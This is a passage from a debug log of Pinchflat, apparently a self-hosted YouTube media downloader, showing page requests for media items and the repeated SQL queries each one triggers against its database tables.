m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [411] 21:15:30.600 [debug] QUERY OK source="tasks" db=0.8ms idle=970.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [411] 21:15:30.600 [debug] QUERY OK source="sources" db=1.0ms idle=970.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 21:15:30.602 [debug] QUERY OK source="settings" db=0.9ms idle=971.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:15:30.602 [debug] QUERY OK source="settings" db=0.3ms idle=874.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:15:30.604 [debug] QUERY OK source="settings" db=0.6ms idle=4.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:15:30.606 [debug] QUERY OK source="media_profiles" db=0.7ms idle=5.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 21:15:30.608 [info] Sent 200 in 10ms 21:15:35.014 [info] GET /sources/1/media/38 21:15:35.014 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "38", "prevent_download" => "true", "source_id" => "1"} Pipelines: [:browser] 21:15:35.015 [debug] QUERY OK source="media_items" db=0.6ms idle=1385.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [38] 21:15:35.016 [debug] QUERY OK source="tasks" db=0.6ms idle=1386.2ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [38] 21:15:35.017 [debug] QUERY OK source="sources" db=1.3ms idle=1386.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 21:15:35.018 [debug] QUERY OK source="oban_jobs" db=0.6ms idle=1280.9ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [41] 21:15:35.018 [debug] QUERY OK source="settings" db=0.3ms idle=280.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:15:35.019 [debug] QUERY OK source="settings" db=0.4ms idle=3.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:15:35.020 [debug] QUERY OK source="settings" db=0.2ms queue=0.1ms idle=3.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:15:35.021 [debug] QUERY OK source="media_profiles" db=0.3ms idle=3.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 21:15:35.023 [info] Sent 200 in 8ms 21:15:39.133 [info] GET /sources/1/media/37 21:15:39.133 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "37", "prevent_download" => "true", "source_id" => "1"} Pipelines: [:browser] 21:15:39.134 [debug] QUERY OK source="media_items" db=1.1ms idle=504.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [37] 21:15:39.136 [debug] QUERY OK source="sources" db=1.0ms idle=505.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 21:15:39.136 [debug] QUERY OK source="tasks" db=1.2ms idle=505.7ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [37] 21:15:39.137 [debug] QUERY OK source="oban_jobs" db=0.7ms idle=507.2ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [40] 21:15:39.138 [debug] QUERY OK source="settings" db=0.6ms idle=391.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:15:39.139 [debug] QUERY OK source="settings" db=0.2ms idle=4.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:15:39.140 [debug] QUERY OK source="settings" db=0.5ms idle=3.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:15:39.140 [debug] QUERY OK source="media_profiles" db=0.2ms idle=4.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 21:15:39.142 [info] Sent 200 in 9ms 21:15:42.918 [info] GET /sources/1/media/36 21:15:42.918 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "36", "prevent_download" => "true", "source_id" => "1"} Pipelines: [:browser] 21:15:42.919 [debug] QUERY OK source="media_items" db=0.7ms idle=289.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [36] 21:15:42.920 [debug] QUERY OK source="sources" db=0.3ms idle=290.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 21:15:42.920 [debug] QUERY OK source="tasks" db=0.9ms idle=290.3ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [36] 21:15:42.921 [debug] QUERY OK source="oban_jobs" db=0.3ms idle=291.4ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [39] 21:15:42.921 [debug] QUERY OK source="settings" db=0.2ms idle=166.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:15:42.922 [debug] QUERY OK source="settings" db=0.2ms idle=2.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:15:42.922 [debug] QUERY OK source="settings" db=0.2ms idle=2.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:15:42.923 [debug] QUERY OK source="media_profiles" db=0.1ms queue=0.1ms idle=2.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 21:15:42.924 [info] Sent 200 in 6ms 21:15:45.745 [info] {"source":"oban","duration":1993,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:15:46.177 [info] GET /sources/1/media/34 21:15:46.177 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "34", "prevent_download" => "true", "source_id" => "1"} Pipelines: [:browser] 21:15:46.178 [debug] QUERY OK source="media_items" db=0.4ms idle=1548.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [34] 21:15:46.179 [debug] QUERY OK source="sources" db=0.6ms idle=1549.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 21:15:46.180 [debug] QUERY OK source="tasks" db=1.2ms idle=1420.2ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [34] 21:15:46.181 [debug] QUERY OK source="oban_jobs" db=0.8ms idle=435.1ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [37] 21:15:46.183 [debug] QUERY OK source="settings" db=1.4ms idle=420.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:15:46.183 [debug] QUERY OK source="settings" db=0.5ms idle=5.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:15:46.184 [debug] QUERY OK source="settings" db=0.6ms idle=4.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:15:46.185 [debug] QUERY OK source="media_profiles" db=0.3ms idle=5.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 21:15:46.187 [info] Sent 200 in 10ms 21:15:49.118 [info] GET /sources/1/media/40 21:15:49.118 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "40", "prevent_download" => "true", "source_id" => "1"} Pipelines: [:browser] 21:15:49.119 [debug] QUERY OK source="media_items" db=0.5ms idle=1489.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [40] 21:15:49.120 [debug] QUERY OK source="tasks" db=0.2ms idle=1490.4ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [40] 21:15:49.121 [debug] QUERY OK source="sources" db=1.1ms idle=1490.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 21:15:49.123 [debug] QUERY OK source="oban_jobs" db=2.2ms idle=1356.4ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [43] 21:15:49.124 [debug] QUERY OK source="settings" db=0.4ms idle=356.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:15:49.125 [debug] QUERY OK source="settings" db=0.2ms idle=5.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:15:49.126 [debug] QUERY OK source="settings" db=0.3ms idle=5.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:15:49.127 [debug] QUERY OK source="media_profiles" db=0.4ms idle=5.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 21:15:49.128 [info] Sent 200 in 10ms 21:15:51.865 [info] GET /sources/1/media/39 21:15:51.865 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "39", "prevent_download" => "true", "source_id" => "1"} Pipelines: [:browser] 21:15:51.867 [debug] QUERY OK source="media_items" db=1.3ms idle=1236.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [39] 21:15:51.869 [debug] QUERY OK source="sources" db=0.5ms idle=1239.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 21:15:51.870 [debug] QUERY OK source="tasks" db=1.1ms idle=1239.4ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [39] 21:15:51.871 [debug] QUERY OK source="oban_jobs" db=0.7ms idle=1099.0ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [42] 21:15:51.872 [debug] QUERY OK source="settings" db=0.2ms idle=97.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:15:51.872 [debug] QUERY OK source="settings" db=0.2ms idle=4.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:15:51.873 [debug] QUERY OK source="settings" db=0.2ms queue=0.1ms idle=3.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:15:51.874 [debug] QUERY OK source="media_profiles" db=0.6ms idle=3.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 21:15:51.876 [info] Sent 200 in 10ms 21:15:54.380 [info] GET /sources/1/media/35 21:15:54.380 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "35", "prevent_download" => "true", "source_id" => "1"} Pipelines: [:browser] 21:15:54.381 [debug] QUERY OK source="media_items" db=0.5ms idle=751.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [35] 21:15:54.382 [debug] QUERY OK source="tasks" db=0.4ms idle=752.3ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [35] 21:15:54.382 [debug] QUERY OK source="sources" db=0.6ms idle=752.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", 